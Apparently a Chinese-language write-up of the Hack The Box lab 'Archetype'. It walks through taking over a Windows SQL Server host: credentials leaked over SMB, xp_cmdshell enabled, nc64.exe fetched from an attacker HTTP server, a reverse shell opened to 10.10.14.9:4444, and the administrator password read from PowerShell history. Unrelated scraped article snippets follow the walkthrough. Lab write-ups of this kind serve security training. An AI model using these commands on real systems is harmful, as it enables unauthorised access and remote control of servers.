TIER 2: Archetype
TIER 2: Archetype
扫描 nmap
使用 nmap 进行扫描目标 IP,发现目标是 Windows 服务器,开放 SMB 和 SQL Server 服务。
SMB
SMB 之前已经接触过,在 Windows 和 Linux 操作系统上连接 SMB 服务器的方法:
- windows 上使用:使用资源管理器、cmd 的 net、powershell 的 New-PSDrive 等。
- linux 上需要借助 smbclient 进行连接,smbclient 属于 samba 的一部分。
Microsoft 官方资料:
- 协议规范:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/
- Microsoft SMB 协议和 CIFS 协议:https://learn.microsoft.com/en-us/windows/win32/fileio/microsoft-smb-protocol-and-cifs-protocol-overview
- Windows Server 如何使用 SMB 服务:https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview
我们在 kali 使用 smbclient 时,先使用 -N 和 -L 选项进行匿名登录和列出共享目录。提示使用 smbclient 不明白时,用 man smbclient 查看帮助文档。在 backups 下可以发现一个 prod.dtsConfig 配置文件,通过 get 可以下载这个文件。
使用 cat 查看文件,我们可以发现其中是明文存储账号密码凭证。主机 ARCHETYPE 用户 sql_svc 密码 M3g4c0rp123 凭证。
Microsoft SQL Server
Microsoft SQL Server 是由 Microsoft 开发和管理的关系型数据库管理系统(RDBMS)。SQL Server 使用 TCP/IP 协议进行网络通信,并使用默认的 1433 端口号。但是,端口号可以根据需要进行配置和更改。
通过上面在配置文件中发现的信息,我们通过 impacket 工具进行登录。
- 项目地址:https://github.com/fortra/impacket
- 建议使用 Python 创建虚拟环境安装 impacket
- 我们使用项目
impacket/examples/下的mssqlclient.py进行连接
使用
python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth连接,注意{TARGET_IP}填写目标 IP 地址。
在登录 MSSQL 我们尝试攻击
SELECT is_srvrolemember('sysadmin'); -- 检查当前用户是否是 sysadmin
确认当前用户是 sysadmin 后,我们可以使用 xp_cmdshell 执行命令
-- 判断是否开启 xp_cmdshell
EXEC xp_cmdshell 'net user';
-- 如果没有,下面是激活 xp_cmdshell 的方法
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
确认激活后,通过 xp_cmdshell "whoami" 尝试。现在我们计划在目标上传 nc64.exe 二进制文件,并在监听端口上执行一个交互式的 cmd.exe 进程。
反弹 shell
我们先下载 nc64.exe 二进制文件:https://github.com/int0x33/nc.exe/blob/master/nc64.exe
注:如果使用 windows 下载可能会提示病毒
- 下载完成后,我们使用
python3 -m http.server 80在本地启动一个 HTTP 服务 - 使用
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe"让目标下载 nc64.exe 文件 - kali 上使用
nc -lvnp 4444监听 4444 端口 - 开始反弹
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.9 4444"让目标主动连接我们的监听端口
sql_svc 用户的 flag 在 C:\Users\sql_svc\Desktop\ 目录下。
提权
我们借助 winPEAS 工具进行提权,下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
使用步骤相似,同样是使用 Python 的 HTTP 服务,让目标下载。让目标下载后直接 .\winPEASx64.exe 运行即可。
我们可以观察到用户具有 SeImpersonatePrivilege 特权,这也容易受到 Juicy Potato 漏洞利用的影响。然而,我们可以首先检查两个现有的文件,其中可能存在凭据。
由于这是一个普通用户账户和服务账户,值得检查频繁访问的文件或执行的命令。为了做到这一点,我们将读取 PowerShell 历史文件,这相当于 Linux 系统中的 .bash_history 文件。ConsoleHost_history.txt 可以在路径 C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ 目录下。通过分析 PowerShell 历史文件,攻击者可以查找之前执行过的命令、访问过的文件路径以及可能存在的敏感信息和凭据。他们可能会寻找密码、敏感命令、远程连接等活动,以获取对其他系统或账户的进一步访问权限。
最终我们在 ConsoleHost_history.txt 中可以发现管理员密码 MEGACORP_4dm1n!!,之后使用 psexec.py 连接 Administrator 用户即可。flag 在 C:\Users\Administrator\Desktop\ 目录下。
TIER 2: Archetype的更多相关文章
- 使用Maven命令行快速创建项目骨架(archetype)
> mvn archetype:generate 接下来就会输出一些列带索引变化的archetype项可供我们选择,然后提示我们选择一个编号,可以直接回车选择默认的编号(392),然后就跟着 ...
- maven archetype二三事
maven plugin 创建maven archetype 骨架的plugin是 <plugin> <groupId>org.apache.maven.plugins< ...
- 使用mvn archetype:generate生产maven工程,响应很慢
经常到下列时就不往下走了. 解决方案: 1.不使用interactive mode方式,直接指定DarchetypeArtifactId 2.仍使用interactive mode方式,但增加参数 - ...
- 在cmd命令行使用Maven Archetype插件 generate命令创建简单的java web项目
前提: 1.下载apache-maven:https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.3.9/binaries/apache ...
- maven archetype生成自定义项目原型(模板)
maven archetype可以将一个项目做成项目原型,之后只需要以此原型来创建项目,那么初始创建的项目便具有原型项目中的一切配置和代码.通俗讲就是一个项目模板. eclipse中那些快速生成mav ...
- Maven使用archetype迅速生成项目骨架
archetype意思是"原型",相当于项目模板.archetype是maven的一个插件,相当于模板工具包. 一个十分重要的mvn指令:mvn 插件名:目标名maven自带三个内 ...
- Maven 添加自定义 archetype
环境:jdk7 maven3.23 eclipse mars 关于maven是使用插件自带的还是单独下载的,应该都是可以的,但是要注意maven和jdk版本的问题,比如3.2.3版本的maven支持j ...
- SSM框架整合首只拦路虎——Eclipse新建Maven Project界面select an archetype 空白
首先给大家说,本篇博客没有技术价值,纯属个人学习总结,权当给大家添加一乐.事件如有雷同,纯属巧合,莫怪! 前一段时间一直在看<淘淘商城>这个教程,里面讲的是SSM框架的一个电商项目.这不是 ...
- maven archetype:generate 命令简化项目模板数量
在maven里使用 mvn archetype:generate 来创建项目是十分方便的,但有时也不尽然.在网络不好时,从网络上加载 archetype-catalog.xml文件(http://re ...
- E-Business Suite 12.2 startCD 50 Install Fails with Fatal Error: TXK Install Service oracle.apps.fnd.txk.config.ProcessStateException: OUI process failed Cannot install Web Tier Utilities
在rhel7.2上,使用startCD 50安装ebs r12.2的使用,安装到38%的时候就报错,遇到了和以下文章类似的问题: http://www.cnblogs.com/abclife/p/49 ...
随机推荐
- C# 使用大数组内存溢出的解决办法
在实际开发中,需要读取文件转成byte数组,文件大小四五百兆,采用win10系统,我那台电脑系统版本非常老了,一直没升级,读取文件时,就会出现OutOfMemeory异常,时不时的出现.我程序用的an ...
- 【Sqlserver】查看所有数据库的大小 创建日期 名称 版本级别 状态
EXEC sp_helpdb
- 面向编程对象的好处及应用紧耦合VS松耦合(继承,多态)(1-2)
面向编程对象的好处及应用紧耦合VS松耦合(继承,多态)(1-2) 当初: 代码是做了客户端与业务的分离的封装 现在: 加深下功底,在上一个随笔之前做一个修改和拓展(继承,多态) 作业: 现在从计算器变 ...
- Xcode Debugger Extremely Slow , Xcode Swift调试器调试时极其慢(😡)
一.Xcode 调试器 我的项目是国内某办公软件的iOS客户端, 代码量极其庞大, 编译一次至少30min以上. 关键是,如果你遇到问题的时候,调试下断点,需要至少5min才能断下来,走下一步,又重复 ...
- containerd 源码分析:创建 container(一)
0. 前言 Kubernetes:kubelet 源码分析之 pod 创建流程 介绍了 kubelet 创建 pod 的流程,containerd 源码分析:kubelet 和 containerd ...
- ETL工具-nifi干货系列 第六讲 处理器JoltTransformJSON
1.处理器作用 使用Jolt转换JSON数据为其他结构的JSON,成功的路由到'success',失败的'failure'.处理JSON的实用程序不是基于流的,因此大型JSON文档转换可能会消耗大量内 ...
- Linux扩展篇-shell编程(五)-流程控制(四)-while语句
基本语法: while [ condition ] do statement done 或 while [ condition ]; do statement done 注意事项: 实践:
- 订单请求接口设计,避免timeout超时问题 下单解决
订单请求接口设计,避免timeout超时问题 下单解决 接上篇:外部系统对接下单幂等性校验逻辑及接口超时处理 https://www.cnblogs.com/oktokeep/p/17668039.h ...
- FFmpeg如何将一个gif嵌入视频指定位置并指定显示时间
背景 很简单的需求:我需要将一个gif嵌入到视频里面的指定位置,并要指定时间播放: 环境 windows11 64位专业版 ffmpeg version 2022-04-07-git-607ecc27 ...
- Linux/Unix-stty命令详解
文章目录 介绍 stty命令的使用方法 stty的参数 我常用的选项 所有选项 介绍 stty用于查询和设置当前终端的配置. 如果你的终端回车不换行.输入命令不显示等各种奇葩问题,那么stty命令可以 ...